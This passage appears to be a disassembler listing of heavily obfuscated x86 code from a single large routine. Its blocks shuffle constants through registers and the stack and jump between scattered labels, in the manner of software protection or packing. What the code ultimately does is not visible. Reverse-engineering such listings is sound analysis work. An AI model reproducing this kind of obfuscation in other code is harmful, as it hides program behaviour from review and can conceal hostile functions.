5CF82E34h pop edx push 4682h mov [esp-6E8Ah+arg_6E80+2], ecx mov ecx, 5CF82E34h xor edx, ecx mov ecx, [esp-6E8Ah+arg_6E80+2] add esp, 4 mov ecx, [esp-6E8Eh+arg_6E84+2] push edx mov edx, esp push ebx mov ebx, 16D0BB1h shl ebx, 7 dec ebx push eax mov eax, 4E6A3206h and eax, 66EF66A5h jmp loc_599780 ; --------------------------------------------------------------------------- loc_59C843: ; CODE XREF: sub_581EE9+158A6j xchg ebp, [esp-6E88h+arg_6E80] pop esp push ebp push [esp-6E88h+arg_6E84] pop ebp pop [esp-6E88h+arg_6E80] mov esp, [esp-6E8Ch+arg_6E84] add esp, 4 test ecx, eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59C85E: ; CODE XREF: sub_581EE9+15C0Ej mov edx, 0B2324F8h xor edx, 14A049E8h shr edx, 6 add edx, 0FF81F250h add esi, edx pop edx add esi, 4 xchg esi, [esp-6E9Ah+arg_6E92] pop esp sub eax, 37935C31h sub eax, 65F55616h add eax, edi jmp loc_5A144A ; --------------------------------------------------------------------------- loc_59C88D: ; CODE XREF: sub_581EE9+1C278j pop edi jmp loc_59C519 ; --------------------------------------------------------------------------- loc_59C893: ; CODE XREF: sub_581EE9+19715j pop ebx pop [esp-6E86h+arg_6E7C+2] jmp loc_59EF64 ; --------------------------------------------------------------------------- loc_59C89C: ; CODE XREF: sub_581EE9+1C320j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59C8A1: ; CODE XREF: sub_581EE9+214D8j not edx xchg edx, ebx not ebx add ebx, 0E8A1C518h jmp loc_5954FB ; --------------------------------------------------------------------------- loc_59C8B2: ; CODE XREF: sub_581EE9+191EDj shr ecx, 5 add ecx, 445E42D5h or ecx, 693E36AAh sub ecx, 118F5E72h xor ecx, 5DF06048h push 2468h jmp loc_593CBA ; --------------------------------------------------------------------------- loc_59C8D7: ; CODE XREF: sub_581EE9+1BE38j sub edi, 5BFB5BE4h jmp loc_595C32 ; --------------------------------------------------------------------------- loc_59C8E2: ; CODE XREF: sub_581EE9+11E4Cj xor [esp-6EB2h+arg_6EA8+2], ebx xor ebx, [esp-6EB2h+arg_6EA8+2] jmp loc_5A3F50 ; --------------------------------------------------------------------------- loc_59C8ED: ; CODE XREF: sub_581EE9+1B8C7j mov ax, word ptr [esp-6EB2h+arg_6EA8+2] push ebp mov ebp, esp add ebp, 4 push 1435h mov dword ptr [esp-6EAAh+arg_6EA2], esi push 2A4D06BBh pop esi inc esi jmp loc_59AF16 ; --------------------------------------------------------------------------- loc_59C90E: ; CODE XREF: sub_581EE9+127DAj neg esi xchg eax, esi push 1966h mov [esp-6EA4h+arg_6E9A+2], edx mov edx, 0FE858AC9h xor eax, edx push [esp-6EA4h+arg_6E9A+2] pop edx add esp, 4 push eax add [esp-6EA4h+arg_6E9A+2], 6A817C55h jmp loc_592901 ; --------------------------------------------------------------------------- loc_59C937: ; CODE XREF: sub_581EE9+1C723j mov eax, 4F215B82h xor eax, edi jmp loc_59AB62 ; --------------------------------------------------------------------------- loc_59C943: ; CODE XREF: sub_581EE9+22438j push esp pop [esp-6EA0h+arg_6E96+2] add [esp-6EA4h+arg_6E9A+2], 4 pop edi jmp loc_5A6D24 ; --------------------------------------------------------------------------- loc_59C954: ; CODE XREF: sub_581EE9+134B6j sub ecx, edi push [esp-6E6Eh+arg_6E64+2] pop edi jmp loc_595316 ; --------------------------------------------------------------------------- loc_59C95F: ; CODE XREF: sub_581EE9+1E2C8j xor [esp-6E6Eh+arg_6E64+2], ebp xor ebp, [esp-6E6Eh+arg_6E64+2] pop esp mov [esp-6E72h+arg_6E68+2], edi push edx push esi mov esi, 251B0D98h mov edx, esi pop esi neg edx inc edx add edx, 10720FFCh push edi mov edi, 2FBC72B0h not edi sub edi, 43934989h neg edi jmp loc_59EE77 ; --------------------------------------------------------------------------- loc_59C991: ; CODE XREF: sub_581EE9+1E3B2j sub ebp, edi pop edi sub ebp, 0BDC39631h sub edi, 79FB64C1h add edi, ebp add edi, 79FB64C1h jmp loc_5A6C15 ; --------------------------------------------------------------------------- loc_59C9AD: ; CODE XREF: sub_581EE9+11F77j pop ecx sub eax, 3CC14495h jmp loc_596713 ; --------------------------------------------------------------------------- loc_59C9B8: ; CODE XREF: sub_581EE9+1F179j mov ecx, [esp-6E96h+arg_6E8E] add esp, 4 add al, dh mov edx, [esp-6E9Ah+arg_6E92] add esp, 4 sub al, 3Dh sub al, 0B0h add al, bl jmp loc_5A190D ; --------------------------------------------------------------------------- loc_59C9D1: ; CODE XREF: sub_581EE9+1734Aj pop esp add edx, 4 push ebp push eax jmp loc_5A14F5 ; --------------------------------------------------------------------------- loc_59C9DF: ; CODE XREF: sub_581EE9+1A6C3j pop esp mov [esp-6E72h+arg_6E68+2], edi mov edi, 1365385h xor edi, 18A6A6Bh push ebp jmp loc_59F1B8 ; --------------------------------------------------------------------------- loc_59C9F4: ; CODE XREF: sub_581EE9+15E32j xchg edx, [esp-6EBEh+arg_6EB6] mov esp, [esp-6EBEh+arg_6EB6] jmp loc_5A6BBB ; --------------------------------------------------------------------------- loc_59C9FF: ; CODE XREF: sub_581EE9+1B4AEj add eax, 8D089679h xor esi, eax pop eax add edx, 74AB77E3h sub edx, 49650FB1h add edx, esi jmp loc_59AC80 ; --------------------------------------------------------------------------- loc_59CA1A: ; CODE XREF: sub_581EE9+238FCj push edx mov dh, 6Dh and dh, 36h push ebx mov bl, 5Fh not bl xor bl, 7Ah or dh, bl pop ebx neg dh push cx mov cl, 4Bh xor dh, cl jmp loc_5A6AEC ; --------------------------------------------------------------------------- loc_59CA38: ; CODE XREF: sub_581EE9+199C4j mov ebx, 39B020F1h add ebx, 29F76C39h sub edi, ebx pop ebx mov ecx, edi pop edi sub ecx, eax xchg eax, ecx pop ecx xor eax, 3E8BE4FAh mov ebp, eax pop eax add ebx, ebp jmp loc_593D23 ; --------------------------------------------------------------------------- loc_59CA5C: ; CODE XREF: sub_581EE9+21E81j mov esi, esp push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_59A30A ; --------------------------------------------------------------------------- loc_59CA6C: ; CODE XREF: sub_581EE9+18780j add bh, 2Ah push ecx jmp loc_5A490C ; --------------------------------------------------------------------------- loc_59CA75: ; CODE XREF: sub_581EE9+1FE47j push 217Dh mov [esp-6E64h+arg_6E5C], ebp sub esp, 4 mov [esp-6E60h+arg_6E58], eax mov eax, 35C316E8h mov ebp, 36C94B52h jmp loc_5A33C6 ; --------------------------------------------------------------------------- loc_59CA95: ; CODE XREF: sub_581EE9+16ABDj push [esp-6EA8h+arg_6E9E+2] pop esi add esp, 4 add esp, 4 shr eax, 18h xor eax, ecx push eax push 251Eh mov [esp-6EA8h+arg_6E9E+2], ebp mov ebp, esp jmp loc_59D02D ; --------------------------------------------------------------------------- loc_59CABA: ; CODE XREF: sub_581EE9+14812j pop edx sub esp, 4 mov [esp-6EC2h+arg_6EBA], eax jmp loc_5A0DB8 ; --------------------------------------------------------------------------- loc_59CAC9: ; CODE XREF: sub_581EE9+136CDj shr edi, 3 push edi dec [esp-6E9Ah+arg_6E92] pop edi shl edi, 1 xor edi, 0EFC9156h sub ebx, edi jmp loc_5A5636 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push eax mov eax, esp jmp loc_5A560C ; --------------------------------------------------------------------------- loc_59CAEB: ; CODE XREF: sub_581EE9+1F1AAj add ebx, edx pop edx add ebx, 2 jmp loc_5930CE ; --------------------------------------------------------------------------- loc_59CAF9: ; CODE XREF: sub_581EE9+22A08j push bx mov bl, 0A8h xor ah, bl pop bx sub bl, ah mov eax, [esp-6E9Eh+arg_6E96] add esp, 4 mov dh, bl pop ebx neg dh push ax mov ah, dh push ecx mov cl, ah not cl mov ah, cl jmp loc_59D061 ; --------------------------------------------------------------------------- loc_59CB21: ; CODE XREF: sub_581EE9+1F9E0j sub edx, ebx pop ebx pop ebx add edx, 65854C8Bh sub edx, 0DD606CCAh add esi, edx pop edx jmp loc_59D7A1 ; --------------------------------------------------------------------------- loc_59CB39: ; CODE XREF: sub_581EE9+16E5Cj pop edx add edx, 6EFC0BF5h pop ebx push esi mov esi, 0C451AD2Fh add edx, esi mov esi, [esp-6E8Ah+arg_6E80+2] push ecx mov ecx, esp add ecx, 4 jmp loc_5A5E81 ; --------------------------------------------------------------------------- loc_59CB5A: ; CODE XREF: sub_581EE9+19179j xor esi, ebx push dword ptr [esp-6EAAh+arg_6EA2] mov ebx, [esp-6EA6h+arg_6E9E] jmp loc_5963E2 ; --------------------------------------------------------------------------- loc_59CB67: ; CODE XREF: sub_581EE9+122ABj push 643Dh mov [esp-6EC4h+arg_6EBA+2], ecx mov ecx, 4 add edx, ecx pop ecx push edi mov edi, 4 add edx, edi pop edi push edx push [esp-6EC4h+arg_6EBE+2] pop edx pop [esp-6EC4h+arg_6EBA+2] mov esp, [esp-6EC8h+arg_6EBE+2] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59CB91: ; CODE XREF: sub_581EE9+1BE27j mov eax, [esp-6EC8h+arg_6EBE+2] push ebx mov ebx, esp jmp loc_598D7A ; --------------------------------------------------------------------------- loc_59CB9C: ; CODE XREF: sub_581EE9+1AE56j pop ecx xor di, 0AA8h xchg ax, di jmp loc_597AC1 ; --------------------------------------------------------------------------- loc_59CBA9: ; CODE XREF: sub_581EE9+19D7Fj pop [esp-6E5Eh+arg_6E54+2] pop esp add edx, ebp push [esp-6E66h+arg_6E5C+2] pop ebp add esp, 4 xchg edx, [esp-6E6Ah+arg_6E60+2] mov esp, [esp-6E6Ah+arg_6E60+2] jmp loc_59DB2A ; --------------------------------------------------------------------------- loc_59CBC4: ; CODE XREF: sub_581EE9+1A298j shr esi, 7 jmp loc_5A2AC7 ; --------------------------------------------------------------------------- loc_59CBCC: ; CODE XREF: sub_581EE9+1D636j mov edi, 4 jmp loc_59EDB2 ; --------------------------------------------------------------------------- loc_59CBD6: ; CODE XREF: sub_581EE9+2404Bj sub eax, 3A065B0h pop edx add eax, 462A128Eh push [esp-6E7Ch+arg_6E72+2] pop edx push eax jmp loc_59D4C7 ; --------------------------------------------------------------------------- loc_59CBEB: ; CODE XREF: sub_581EE9+1060Aj push edx mov edx, 1EF66B0Dh add edx, 2C75495Eh xor edx, 601C3D87h sub edx, 0AC375B38h xor ebx, edx jmp loc_59C1B0 ; --------------------------------------------------------------------------- loc_59CC0A: ; CODE XREF: sub_581EE9+10858j mov edx, 2 sub ecx, edx pop edx xchg ecx, [esp-6EC8h+arg_6EBE+2] mov esp, [esp-6EC8h+arg_6EBE+2] mov word ptr [esp-6EC8h+arg_6EBE+2], cx mov cl, 7Ch add al, 0Ch push ebx jmp loc_5928C9 ; --------------------------------------------------------------------------- loc_59CC26: ; CODE XREF: sub_581EE9+131EBj and edi, ebp pop ebp sub edi, 0FFFFFFFFh jmp loc_59F168 ; --------------------------------------------------------------------------- loc_59CC31: ; CODE XREF: sub_581EE9+21CB8j not ecx xor ecx, 0EED0D2B2h add ebx, 1505353Dh sub ebx, ecx sub ebx, 1505353Dh pop ecx or ebx, 7DF65F9Dh push ebp jmp loc_59CE05 ; --------------------------------------------------------------------------- loc_59CC54: ; CODE XREF: sub_581EE9+23733j pop eax push 16EAh mov [esp-6EA6h+arg_6E9E], edx push 3417h mov [esp-6EA2h+arg_6E9A], ebp mov ebp, 4 jmp loc_598B53 ; --------------------------------------------------------------------------- loc_59CC6F: ; CODE XREF: sub_581EE9+17CD4j push edx mov dh, 73h xor dh, 72h sub bl, dh pop edx add bl, 1 inc bl and bl, 0BBh or bl, 0A3h push 5F0Dh mov [esp-6EA4h+arg_6E9A+2], edx push ebx push 36B3h jmp loc_5A4A98 ; --------------------------------------------------------------------------- loc_59CC96: ; CODE XREF: sub_581EE9+1F12Aj push 0AC6h mov [esp-6E98h+arg_6E8E+2], ecx mov ecx, 61BC3956h inc ecx add ecx, 42CE161Ah not ecx sub ecx, 45BC7844h push 34E7h mov [esp-6E94h+arg_6E8A+2], edx push esi mov esi, 561A7ECEh mov edx, 3DF31F85h xor edx, esi mov esi, [esp+0] add esp, 4 push edi mov edi, 41D64703h add edi, 5BC2053h sub edi, 32F363C4h xor edi, 5F6F612Ch add edi, 3012D2F7h or edx, edi pop edi push 0 sub [esp+0], edx pop edx push eax mov eax, 62053C6Bh inc eax sub eax, 75983267h shr eax, 5 sub eax, 0D51607D6h or edx, eax pop eax push ebx mov ebx, 37E8DD3Ch add edx, ebx pop ebx jmp loc_5A3057 ; --------------------------------------------------------------------------- push 2EC8h mov [esp+0], ecx push ebx mov ebx, 3Ch mov ecx, ebx jmp loc_594F4B ; --------------------------------------------------------------------------- loc_59CD34: ; CODE XREF: sub_581EE9+12070j not cx sub cx, 6E96h mov di, cx jmp loc_59CB9C ; --------------------------------------------------------------------------- loc_59CD44: ; CODE XREF: sub_581EE9+12F4Fj add esp, 4 push eax mov eax, 56652197h shl eax, 6 push edx mov edx, 8781EA2h push ebx jmp loc_59A2C9 ; --------------------------------------------------------------------------- loc_59CD5F: ; CODE XREF: sub_581EE9+1B779j push 48AB54E2h pop ebx add ebx, 1 push edi jmp loc_5A0C10 ; --------------------------------------------------------------------------- loc_59CD71: ; CODE XREF: sub_581EE9+110E5j pop eax push dx xor byte ptr [esp-6E60h+arg_6E58], bh xor bh, byte ptr [esp-6E60h+arg_6E58] xor byte ptr [esp-6E60h+arg_6E58], bh jmp loc_59588B ; --------------------------------------------------------------------------- loc_59CD82: ; CODE XREF: sub_581EE9+1D37Bj push edx push ecx push 5A6C3D36h pop ecx xor ecx, 8214824h xor ecx, 7BF37427h mov edx, ecx pop ecx add edx, 1 shr edx, 3 shl edx, 1 neg edx xor edx, 0FC6F6795h xor eax, edx pop edx mov ebp, eax jmp loc_5A639F ; --------------------------------------------------------------------------- loc_59CDB6: ; CODE XREF: sub_581EE9+2117Cj mov edx, [esp-6E60h+arg_6E58] push ecx jmp loc_5982C8 ; --------------------------------------------------------------------------- loc_59CDBF: ; CODE XREF: sub_581EE9+24F25j mov edx, [esp-6E5Ch+arg_6E54] add esp, 4 add [esp-6E60h+arg_6E5C], 15F221EFh jmp loc_5A01D5 ; --------------------------------------------------------------------------- loc_59CDD5: ; CODE XREF: sub_581EE9+150E5j xchg edi, esi xor esi, 13511473h push 3B4Bh mov [esp-6E54h+arg_6E4C], eax mov eax, 32E32EF2h jmp loc_59DA4B ; --------------------------------------------------------------------------- loc_59CDEF: ; CODE XREF: sub_581EE9+13B49j xor [esp-6E66h+arg_6E5C+2], 534F53C9h pop ebp xor ebp, 534F53C9h mov ebx, [esp-6E6Ah+arg_6E60+2] jmp loc_5A5CEB ; --------------------------------------------------------------------------- loc_59CE05: ; CODE XREF: sub_581EE9+1AD66j mov ebp, 0FFFF5FBDh xor ebx, ebp pop ebp sub esi, ebx jmp loc_593235 ; --------------------------------------------------------------------------- loc_59CE14: ; CODE XREF: sub_581EE9+114A2j mov ebx, [esp-6E8Ch+arg_6E84] add esp, 4 mov eax, 0E131C186h add eax, ebx push dword ptr [esp+0] pop ebx push 55EAh mov [esp-6E8Ch+arg_6E84], esi push esp pop esi push eax jmp loc_59FE67 ; --------------------------------------------------------------------------- loc_59CE38: ; CODE XREF: sub_581EE9+14F67j add ecx, ebp jmp loc_598B2B ; --------------------------------------------------------------------------- loc_59CE3F: ; CODE XREF: sub_581EE9+1D21Ej pop esi jmp loc_5A3F2A ; --------------------------------------------------------------------------- loc_59CE45: ; CODE XREF: sub_581EE9+14F3Bj pop ebx pop ecx push [esp-6EB0h+arg_6EA8] push [esp-6EACh+arg_6EA4] pop esi add esp, 4 add esp, 4 push 677Fh mov [esp-6EB0h+arg_6EA8], esi push ebx push 24711473h jmp loc_5956EC ; --------------------------------------------------------------------------- loc_59CE6A: ; CODE XREF: sub_581EE9+1103Fj add esp, 4 sub ecx, 75FF37DCh sub ecx, esi add ecx, 75FF37DCh pop esi pop ebx add ecx, 4 sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], ecx push [esp-6E6Ah+arg_6E64+2] pop ecx pop [esp-6E6Ah+arg_6E60+2] pop esp push [esp-6E72h+arg_6E68+2] mov ecx, [esp-6E6Eh+arg_6E64+2] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A0273 ; --------------------------------------------------------------------------- loc_59CEAC: ; CODE XREF: sub_581EE9+1B6A8j movzx eax, al push dword ptr [edi+eax*4] push ecx mov ecx, 276A5244h push ebp jmp loc_59C216 ; --------------------------------------------------------------------------- loc_59CEBE: ; CODE XREF: sub_581EE9+1C9EFj push cx mov ch, 0ECh sub bh, ch mov cx, word ptr [esp-6E60h+arg_6E58] add esp, 2 sub esp, 4 mov [esp-6E60h+arg_6E58], ecx mov cl, bh mov dh, cl mov ecx, [esp-6E60h+arg_6E58] add esp, 4 pop ebx xor bh, dh pop dx sub esp, 4 mov [esp-6E66h+arg_6E5C+2], edx mov dh, cl push edx push ecx sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], eax mov ah, bh mov cl, ah pop eax mov dh, cl pop ecx push ebx mov bl, dh mov cl, bl pop ebx pop edx mov bh, dh push [esp-6E66h+arg_6E5C+2] pop edx add esp, 4 sub cl, 1 xchg cl, bh inc bh jmp loc_5A0985 ; --------------------------------------------------------------------------- loc_59CF1D: ; CODE XREF: sub_581EE9+2442Dj add ebx, 4 push 425Ch mov [esp-6E66h+arg_6E5C+2], ecx push esi mov esi, 7A442EDCh add esi, 0FFFFFFFFh sub esi, 7A442ED9h push esi add [esp-6E5Eh+arg_6E54+2], 211A2F27h mov ecx, [esp-6E5Eh+arg_6E54+2] add esp, 4 push eax mov eax, 538D7E1Eh jmp loc_5A1A5F ; --------------------------------------------------------------------------- loc_59CF59: ; CODE XREF: sub_581EE9+17779j mov esi, [esp-6E5Ah+arg_6E50+2] add esp, 4 mov ebx, esi push [esp-6E5Eh+arg_6E54+2] jmp loc_5983F8 ; --------------------------------------------------------------------------- loc_59CF6C: ; CODE XREF: sub_581EE9+17585j mov edi, 564D5D52h push 3A6Ah mov [esp-6E78h+arg_6E6E+2], esi mov esi, 78462F65h dec esi inc esi jmp loc_5A07A9 ; --------------------------------------------------------------------------- loc_59CF85: ; CODE XREF: sub_581EE9+2350Ej mov ebp, [esp-6E78h+arg_6E6E+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0] pop esp push 4D45h mov [esp+0], edi mov edi, 4 add ebp, edi mov edi, [esp+0] add esp, 4 sub ebp, 4 xchg ebp, [esp-6E78h+arg_6E6E+2] jmp loc_5A033B ; --------------------------------------------------------------------------- loc_59CFB8: ; CODE XREF: sub_581EE9+10C3Fj and dh, 96h neg dh shl dh, 1 add dh, 9Eh jmp loc_59FC7C ; --------------------------------------------------------------------------- loc_59CFC7: ; CODE XREF: sub_581EE9+192FCj push ecx mov ecx, 6163556Dh shl ecx, 1 add ecx, 0B4015C4h sub ecx, 8B05C082h jmp loc_5961D7 ; --------------------------------------------------------------------------- loc_59CFE0: ; CODE XREF: sub_581EE9+24CC2j push [esp-6E66h+arg_6E5C+2] jmp loc_593E02 ; --------------------------------------------------------------------------- push [esp-6E62h+arg_6E58+2] push [esp-6E5Eh+arg_6E54+2] push [esp-6E5Ah+arg_6E50+2] jmp loc_59D910 ; --------------------------------------------------------------------------- loc_59CFF6: ; CODE XREF: sub_581EE9+167CEj add edx, 4 xchg edx, [esp-6E5Ah+arg_6E50+2] jmp loc_5989F8 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E5Ah+arg_6E50+2] push 6393h mov [esp-6E56h+arg_6E4C+2], ebx push esp pop ebx push 77F0h mov [esp-6E52h+arg_6E48+2], ecx mov ecx, 73011583h or ecx, 2FA84289h shl ecx, 6 jmp loc_59FF02 ; --------------------------------------------------------------------------- loc_59D02D: ; CODE XREF: sub_581EE9+1ABCCj push ebx jmp loc_597F79 ; --------------------------------------------------------------------------- loc_59D033: ; CODE XREF: sub_581EE9+12499j push ecx mov ecx, 16F17D1Ch sub ebp, ecx pop ecx jmp loc_5974A4 ; --------------------------------------------------------------------------- loc_59D041: ; CODE XREF: sub_581EE9+10563j pop ecx jmp loc_59E3E2 ; --------------------------------------------------------------------------- loc_59D047: ; CODE XREF: sub_581EE9+1EEB1j pop eax add al, 0DDh sub al, dl sub al, 0DDh jmp loc_5A4044 ; --------------------------------------------------------------------------- loc_59D053: ; CODE XREF: sub_581EE9+13DA1j sub edi, 4 xchg edi, [esp-6E7Ch+arg_6E72+2] jmp loc_59D2FA ; --------------------------------------------------------------------------- loc_59D061: ; CODE XREF: sub_581EE9+1AC33j pop ecx jmp loc_59BF4A ; --------------------------------------------------------------------------- loc_59D067: ; CODE XREF: sub_581EE9+186CEj push esi push 4BC5h mov [esp-6E8Ch+arg_6E84], eax mov eax, 38C0DBAh mov esi, eax pop eax push ecx mov ecx, 1965A78h sub ecx, 35E7519h add ecx, 225D692Fh sub ecx, 5C115A22h and ecx, 34595E16h jmp loc_5A4C58 ; --------------------------------------------------------------------------- loc_59D09B: ; CODE XREF: sub_581EE9+2224Dj add esi, 45C8060Dh mov ecx, [esp] add esp, 4 xchg esi, [esp+0] pop esp push eax jmp loc_5953A4 ; --------------------------------------------------------------------------- loc_59D0B1: ; CODE XREF: sub_581EE9+1F8A0j add bl, al jmp loc_5A2994 ; --------------------------------------------------------------------------- loc_59D0B8: ; CODE XREF: sub_581EE9+1C492j xor eax, 0F7F6814Bh and esi, eax mov eax, [esp+0] add esp, 4 or esi, 4E0235B5h xor esi, 4E0E35B1h jmp loc_596970 ; --------------------------------------------------------------------------- loc_59D0D6: ; CODE XREF: sub_581EE9+11924j pop esi push ebp jmp loc_593D84 ; --------------------------------------------------------------------------- loc_59D0DD: ; CODE XREF: sub_581EE9+1A2BAj pop eax jmp loc_5A303F ; --------------------------------------------------------------------------- loc_59D0E3: ; CODE XREF: sub_581EE9+24CE0j pop [esp-6E80h+arg_6E76+2] mov esp, [esp-6E84h+arg_6E7C] mov word ptr [esp-6E84h+arg_6E7C], cx movzx cx, al push cx pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59D0F9: ; CODE XREF: sub_581EE9+1447Ej mov esi, [esp-6EB6h+arg_6EAC+2] add esp, 4 mov ebp, [esp-6EBAh+arg_6EB2] add esp, 4 and eax, esi pop esi or eax, eax jz loc_59E7FA push dword ptr [edi+1Ch] push edi jmp loc_59C66C ; --------------------------------------------------------------------------- loc_59D11F: ; CODE XREF: sub_581EE9+15D8Ej pop esp dec esi not esi push 96Dh mov [esp-6E9Eh+arg_6E96], edi push eax mov eax, 63281B18h add eax, 18E8749Fh push edi mov edi, 281202FFh dec edi neg edi push edx mov edx, 0B70E472h sub edi, edx pop edx xor eax, edi pop edi mov edi, eax mov eax, [esp-6E9Ah+arg_6E92] add esp, 4 jmp loc_5A3E53 ; --------------------------------------------------------------------------- loc_59D158: ; CODE XREF: sub_581EE9+1B506j mov cl, 75h add cl, 0FAh shl cl, 6 and cl, 21h push ebx mov bh, 7Ah sub bh, 8Dh push eax mov al, 0BAh push ebx mov bh, 5Ah shl bh, 6 jmp loc_599B0E ; --------------------------------------------------------------------------- loc_59D177: ; CODE XREF: sub_581EE9+11BDEj add ebx, 26715906h mov ecx, dword ptr [esp-6E82h+arg_6E7A] sub esp, 4 jmp loc_599490 ; --------------------------------------------------------------------------- loc_59D188: ; CODE XREF: sub_581EE9+1F11Cj push ecx push esi jmp loc_59AC24 ; --------------------------------------------------------------------------- loc_59D18F: ; CODE XREF: sub_581EE9+1EF8Ej pop edx jmp loc_594A39 ; --------------------------------------------------------------------------- loc_59D195: ; CODE XREF: sub_581EE9+2031Bj push edx jmp loc_5984CB ; --------------------------------------------------------------------------- loc_59D19B: ; CODE XREF: sub_581EE9+20803j pop edx push ebx mov ebx, 4 add edx, ebx pop ebx jmp loc_5A6B31 ; --------------------------------------------------------------------------- loc_59D1AA: ; CODE XREF: sub_581EE9+149DBj push ecx jmp loc_5A57AA ; --------------------------------------------------------------------------- loc_59D1B0: ; CODE XREF: sub_581EE9+118B1j sub dh, cl pop ecx xor ch, dh mov edx, [esp-6E9Ch+arg_6E92+2] jmp loc_5A548D ; --------------------------------------------------------------------------- loc_59D1BD: ; CODE XREF: sub_581EE9+19D88j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6E46h+arg_6E3E] mov esp, [esp-6E46h+arg_6E3E] sub esp, 4 mov [esp-6E42h+arg_6E3A], eax mov eax, 71E6783Eh xor eax, 75D71717h xchg eax, esi jmp loc_59E4E8 ; --------------------------------------------------------------------------- loc_59D1E5: ; CODE XREF: sub_581EE9+18C31j mov ecx, 4 add ebx, ecx jmp loc_5A4B48 ; --------------------------------------------------------------------------- loc_59D1F1: ; CODE XREF: sub_581EE9+1730Ej xor ah, 4Dh sub bl, ah jmp loc_598971 ; --------------------------------------------------------------------------- loc_59D1FB: ; CODE XREF: sub_581EE9+1E762j mov edx, 204C7DB4h shl edx, 5 sub edx, 945A89Eh mov ebx, edx pop edx xor eax, ebx pop ebx mov ebx, eax mov eax, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 xor ebx, ebp mov ebp, [esp-6E86h+arg_6E7C+2] push ebp mov ebp, esp jmp loc_5A3634 ; --------------------------------------------------------------------------- loc_59D227: ; CODE XREF: sub_581EE9+106C3j xor ebp, eax pop eax and eax, ebp pop ebp shr eax, 0Eh xor eax, ecx push eax push 29EEh mov [esp-6EACh+arg_6EA4], edi push [esp-6EACh+arg_6EA4] mov eax, [esp-6EA8h+arg_6E9E+2] add esp, 4 push 0A28h mov [esp-6EA8h+arg_6E9E+2], ebx mov ebx, esp add ebx, 4 push eax jmp loc_595ECD ; --------------------------------------------------------------------------- loc_59D25D: ; CODE XREF: sub_581EE9+1D809j add edi, 0A932E49Eh sub esi, edi pop edi jmp loc_595654 ; --------------------------------------------------------------------------- loc_59D26B: ; CODE XREF: sub_581EE9+19432j pop esp jmp loc_5925E7 ; --------------------------------------------------------------------------- loc_59D271: ; CODE XREF: sub_581EE9+224D8j sub esp, 4 mov [esp-6EA0h+arg_6E96+2], esi push ebp mov ebp, 5F743276h push ebp sub [esp-6E98h+arg_6E8E+2], 764B6807h pop esi add esi, 764B6807h pop ebp dec esi xor esi, 557C0315h jmp loc_599008 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EA0h+arg_6E96+2] sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], esi mov esi, esp jmp loc_597EC4 ; --------------------------------------------------------------------------- loc_59D2B0: ; CODE XREF: sub_581EE9+13B74j push ebx push [esp-6E96h+arg_6E92] push [esp-6E92h+arg_6E8A] push [esp-6E8Eh+arg_6E84+2] pop ebx push edi mov edi, esp push 24D5h mov [esp-6E86h+arg_6E7C+2], esi mov esi, 4 add edi, esi jmp loc_5A4B26 ; --------------------------------------------------------------------------- loc_59D2D3: ; CODE XREF: sub_581EE9+1C019j add ebp, 1 sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], edx mov edx, 80D5D6Eh jmp loc_592C0D ; --------------------------------------------------------------------------- loc_59D2E6: ; CODE XREF: sub_581EE9+14EF8j mov eax, 177778F2h add eax, 7D8271E0h and eax, 0D136082h jmp loc_594041 ; --------------------------------------------------------------------------- loc_59D2FA: ; CODE XREF: sub_581EE9+1B173j pop esp mov [esp-6E80h+arg_6E76+2], esi push eax mov eax, 2EDA1FE9h add eax, 0D125E01Bh jmp loc_59322D ; --------------------------------------------------------------------------- loc_59D30E: ; CODE XREF: sub_581EE9+1F2D7j add edx, 25CF15ACh sub edx, eax sub edx, 25CF15ACh pop eax jmp loc_5992A9 ; --------------------------------------------------------------------------- loc_59D322: ; CODE XREF: sub_581EE9+12FC5j push esi mov esi, esp jmp loc_599FBD ; --------------------------------------------------------------------------- loc_59D32A: ; CODE XREF: sub_581EE9+21722j mov edx, 738124ACh shr edx, 5 and edx, 774E1C58h dec edx xor edx, 58077C34h shl edx, 6 push eax mov eax, 5157E7EDh sub edx, eax jmp loc_594D24 ; --------------------------------------------------------------------------- loc_59D34F: ; CODE XREF: sub_581EE9+22CB9j pop edx xor dl, ah pop eax xor cl, dl jmp loc_59AD13 ; --------------------------------------------------------------------------- loc_59D35A: ; CODE XREF: sub_581EE9+112B0j pop esp push 680Eh mov [esp+0], edi push eax jmp loc_5978E7 ; --------------------------------------------------------------------------- loc_59D369: ; CODE XREF: sub_581EE9+1C9DBj add eax, ebx jmp loc_598B82 ; --------------------------------------------------------------------------- loc_59D370: ; CODE XREF: sub_581EE9+16E85j mov ebx, ebp mov ebp, [esp-6EA6h+arg_6E9E] add esp, 4 add edx, ebx pop ebx push esi mov esi, 55147C7Fh push eax mov eax, 2C2A60ECh shr eax, 2 xor eax, 470F1970h add eax, 7C0664B7h jmp loc_59C9FF ; --------------------------------------------------------------------------- loc_59D39C: ; CODE XREF: sub_581EE9+13CBBj mov eax, [esp-6E6Ah+arg_6E60+2] jmp loc_5A37A0 ; --------------------------------------------------------------------------- loc_59D3A4: ; CODE XREF: sub_581EE9+14BD6j not byte ptr [esp+0] pop ecx neg cl dec cl jmp loc_5A0C53 ; --------------------------------------------------------------------------- loc_59D3B1: ; CODE XREF: sub_581EE9+1FD4Bj pop eax jmp loc_59F160 ; --------------------------------------------------------------------------- loc_59D3B7: ; CODE XREF: sub_581EE9+21657j mov ebp, 2C3514A2h shl ebp, 7 sub ebp, 3C394A39h dec ebp xor ebp, 0DE5106C2h add edi, ebp jmp loc_598DB3 ; --------------------------------------------------------------------------- loc_59D3D3: ; CODE XREF: sub_581EE9+21785j mov [esp-6E52h+arg_6E48+2], eax mov eax, 1EA6096Fh shl eax, 6 jmp loc_5A67F3 ; 